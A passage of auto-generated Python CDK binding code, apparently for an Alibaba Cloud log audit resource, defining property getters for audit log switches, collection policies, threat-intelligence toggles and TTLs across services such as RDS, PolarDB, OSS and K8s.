:Property: bastionAuditCollectionPolicy: Bastion audit collection policy ''' result = self._values.get("bastion_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def bastion_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: bastionAuditPolicySetting: Bastion audit policy setting. ''' result = self._values.get("bastion_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def bastion_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: bastionEnabled: Fortress machine operation log switch.Default true. ''' result = self._values.get("bastion_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def bastion_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: bastionTiEnabled: Threat Intelligence of Bastion. ''' result = self._values.get("bastion_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def bastion_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: bastionTtl: Fort machine centralized ttl. Default 180. ''' result = self._values.get("bastion_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def cloudfirewall_access_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: cloudfirewallAccessCollectionPolicy: Cloud firewall audit collection policy ''' result = self._values.get("cloudfirewall_access_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def cloudfirewall_access_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: cloudfirewallAccessPolicySetting: Cloud firewall audit policy setting. ''' result = self._values.get("cloudfirewall_access_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def cloudfirewall_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: cloudfirewallEnabled: Cloud firewall log switch. Default true. ''' result = self._values.get("cloudfirewall_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def cloudfirewall_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: cloudfirewallTiEnabled: Threat Intelligence of Cloud firewall. ''' result = self._values.get("cloudfirewall_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def cloudfirewall_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: cloudfirewallTtl: Cloud firewall log centralized ttl. Default 180. ''' result = self._values.get("cloudfirewall_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def cps_callback_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: cpsCallbackCollectionPolicy: Mobile push collection policy ''' result = self._values.get("cps_callback_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def cps_callback_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: cpsCallbackPolicySetting: Mobile push policy setting. ''' result = self._values.get("cps_callback_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def cps_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: cpsEnabled: Mobile push log switch. Default true. ''' result = self._values.get("cps_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def cps_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: cpsTiEnabled: Threat Intelligence of mobile push. ''' result = self._values.get("cps_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def cps_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: cpsTtl: Mobile push ttl. Default 180. ''' result = self._values.get("cps_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def ddos_coo_access_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: ddosCooAccessCollectionPolicy: Ddos audit collection policy ''' result = self._values.get("ddos_coo_access_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def ddos_coo_access_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ddosCooAccessEnabled: Ddos access log switch. Default false. ''' result = self._values.get("ddos_coo_access_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def ddos_coo_access_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: ddosCooAccessPolicySetting: Ddos audit policy setting. ''' result = self._values.get("ddos_coo_access_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def ddos_coo_access_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ddosCooAccessTiEnabled: Threat Intelligence of Ddos. ''' result = self._values.get("ddos_coo_access_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def ddos_coo_access_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: ddosCooAccessTtl: Ddos log centralization ttl. Default 180. ''' result = self._values.get("ddos_coo_access_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def drds_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: drdsAuditCollectionPolicy: DRDS audit collection policy ''' result = self._values.get("drds_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def drds_audit_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: drdsAuditEnabled: DRDS audit log switch. Default true. ''' result = self._values.get("drds_audit_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def drds_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: drdsAuditPolicySetting: DRDS audit policy setting. ''' result = self._values.get("drds_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def drds_audit_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: drdsAuditTiEnabled: Threat Intelligence of DRDS. ''' result = self._values.get("drds_audit_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def drds_audit_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: drdsAuditTtl: DRDS log centralization ttl. Default 7. ''' result = self._values.get("drds_audit_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def drds_sync_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: drdsSyncEnabled: DRDS sync to center switch. Default true. ''' result = self._values.get("drds_sync_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def drds_sync_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: drdsSyncTtl: DRDS sync to center ttl. Default 180. ''' result = self._values.get("drds_sync_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: k8SAuditCollectionPolicy: K8s audit collection policy ''' result = self._values.get("k8_s_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_audit_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: k8SAuditEnabled: K8s access log switch. Default false. ''' result = self._values.get("k8_s_audit_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: k8SAuditPolicySetting: K8s audit policy setting. ''' result = self._values.get("k8_s_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_audit_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: k8SAuditTiEnabled: Threat Intelligence of K8s. ''' result = self._values.get("k8_s_audit_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_audit_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: k8SAuditTtl: K8s log centralization ttl. Default 180. ''' result = self._values.get("k8_s_audit_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_event_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: k8SEventCollectionPolicy: K8s event collection policy ''' result = self._values.get("k8_s_event_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_event_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: k8SEventEnabled: K8s event log switch. Default false. ''' result = self._values.get("k8_s_event_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_event_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: k8SEventPolicySetting: K8s event policy setting. ''' result = self._values.get("k8_s_event_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_event_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: k8SEventTiEnabled: Threat Intelligence of k8s event. ''' result = self._values.get("k8_s_event_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_event_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: k8SEventTtl: K8s event log centralization ttl. Default 180. ''' result = self._values.get("k8_s_event_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_ingress_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: k8SIngressCollectionPolicy: K8s Ingress collection policy ''' result = self._values.get("k8_s_ingress_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_ingress_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: k8SIngressEnabled: K8s Ingress log switch. Default false. ''' result = self._values.get("k8_s_ingress_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_ingress_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: k8SIngressPolicySetting: K8s Ingress policy setting. ''' result = self._values.get("k8_s_ingress_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_ingress_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: k8SIngressTiEnabled: Threat Intelligence of k8s Ingress. ''' result = self._values.get("k8_s_ingress_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def k8_s_ingress_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: k8SIngressTtl: K8s Ingress log centralization ttl. Default 180. ''' result = self._values.get("k8_s_ingress_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def nas_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: nasAuditCollectionPolicy: Nas audit collection policy ''' result = self._values.get("nas_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def nas_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: nasAuditPolicySetting: Nas audit policy setting. ''' result = self._values.get("nas_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def nas_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: nasEnabled: Nas log switch. Default true. ''' result = self._values.get("nas_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def nas_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: nasTiEnabled: Threat Intelligence of Nas. ''' result = self._values.get("nas_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def nas_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: nasTtl: Nas centralized ttl. Default 180. ''' result = self._values.get("nas_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def oss_access_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: ossAccessCollectionPolicy: Oss access collection policy. ''' result = self._values.get("oss_access_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def oss_access_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ossAccessEnabled: Access log switch of OSS. Default true. ''' result = self._values.get("oss_access_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def oss_access_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: ossAccessPolicySetting: Oss access policy setting. ''' result = self._values.get("oss_access_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def oss_access_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ossAccessTiEnabled: Threat Intelligence of oss. ''' result = self._values.get("oss_access_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def oss_access_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: ossAccessTtl: Access log TTL of OSS. Default 180. ''' result = self._values.get("oss_access_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def oss_metering_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: ossMeteringCollectionPolicy: Oss metering collection policy. ''' result = self._values.get("oss_metering_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def oss_metering_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ossMeteringEnabled: OSS metering log switch.Default true. ''' result = self._values.get("oss_metering_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def oss_metering_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: ossMeteringPolicySetting: Oss metering policy setting. ''' result = self._values.get("oss_metering_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def oss_metering_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ossMeteringTiEnabled: Threat Intelligence of oss metering. ''' result = self._values.get("oss_metering_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def oss_metering_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: ossMeteringTtl: OSS measurement log TTL. Default 180. ''' result = self._values.get("oss_metering_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def oss_sync_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: ossSyncEnabled: OSS synchronization to central configuration switch. Default true. ''' result = self._values.get("oss_sync_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def oss_sync_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: ossSyncTtl: OSS synchronization to central TTL. Default 180. ''' result = self._values.get("oss_sync_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: polardbAuditCollectionPolicy: POLARDB audit collection policy ''' result = self._values.get("polardb_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: polardbAuditPolicySetting: POLARDB audit policy setting. ''' result = self._values.get("polardb_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def polardb_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: polardbEnabled: POLARDB audit log switch. Default true. ''' result = self._values.get("polardb_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_perf_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: polardbPerfCollectionPolicy: POLARDB perf collection policy. ''' result = self._values.get("polardb_perf_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_perf_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: polardbPerfEnabled: POLARDB perf log switch. Default false. ''' result = self._values.get("polardb_perf_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_perf_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: polardbPerfPolicySetting: POLARDB perf policy setting. ''' result = self._values.get("polardb_perf_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def polardb_perf_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: polardbPerfTiEnabled: Threat Intelligence of POLARDB perf log. ''' result = self._values.get("polardb_perf_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_perf_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: polardbPerfTtl: POLARDB perf log centralization ttl. Default 180. ''' result = self._values.get("polardb_perf_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_slow_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: polardbSlowCollectionPolicy: POLARDB slow collection policy. ''' result = self._values.get("polardb_slow_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_slow_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: polardbSlowEnabled: POLARDB slow log switch. Default false. ''' result = self._values.get("polardb_slow_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_slow_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: polardbSlowPolicySetting: POLARDB slow policy setting. ''' result = self._values.get("polardb_slow_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def polardb_slow_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: polardbSlowTiEnabled: Threat Intelligence of POLARDB slow log. ''' result = self._values.get("polardb_slow_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_slow_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: polardbSlowTtl: POLARDB slow log centralization ttl. Default 180. ''' result = self._values.get("polardb_slow_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: polardbTiEnabled: Threat Intelligence of POLARDB. ''' result = self._values.get("polardb_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def polardb_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: polardbTtl: POLARDB log centralization ttl. Default 180. ''' result = self._values.get("polardb_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def rds_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: rdsAuditCollectionPolicy: Rds audit collection policy ''' result = self._values.get("rds_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def rds_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: rdsAuditPolicySetting: Rds audit policy setting. ''' result = self._values.get("rds_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def rds_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: rdsEnabled: RDS audit log switch. Default true. ''' result = self._values.get("rds_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def rds_perf_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: rdsPerfCollectionPolicy: Rds perf collection policy. ''' result = self._values.get("rds_perf_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def rds_perf_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: rdsPerfEnabled: RDS perf log switch. Default false. ''' result = self._values.get("rds_perf_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def rds_perf_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: rdsPerfPolicySetting: Rds perf policy setting. ''' result = self._values.get("rds_perf_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def rds_perf_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: rdsPerfTiEnabled: Threat Intelligence of rds perf log. ''' result = self._values.get("rds_perf_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def rds_perf_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: rdsPerfTtl: Rds perf log centralization ttl. Default 180. ''' result = self._values.get("rds_perf_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def rds_slow_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: rdsSlowCollectionPolicy: Rds slow collection policy. ''' result = self._values.get("rds_slow_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def rds_slow_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: rdsSlowEnabled: RDS slow log switch. Default false. ''' result = self._values.get("rds_slow_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def rds_slow_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: rdsSlowPolicySetting: Rds slow policy setting. ''' result = self._values.get("rds_slow_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def rds_slow_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: rdsSlowTiEnabled: Threat Intelligence of rds slow log. ''' result = self._values.get("rds_slow_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def rds_slow_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: rdsSlowTtl: Rds slow log centralization ttl. Default 180. ''' result = self._values.get("rds_slow_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def rds_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: rdsTiEnabled: Threat Intelligence of rds. ''' result = self._values.get("rds_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def rds_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: rdsTtl: Rds log centralization ttl. Default 180. ''' result = self._values.get("rds_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def redis_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: redisAuditCollectionPolicy: Redis audit collection policy ''' result = self._values.get("redis_audit_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def redis_audit_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: redisAuditEnabled: Redis audit log switch. Default true. ''' result = self._values.get("redis_audit_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def redis_audit_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: redisAuditPolicySetting: Redis audit policy setting. ''' result = self._values.get("redis_audit_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def redis_audit_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: redisAuditTiEnabled: Threat Intelligence of 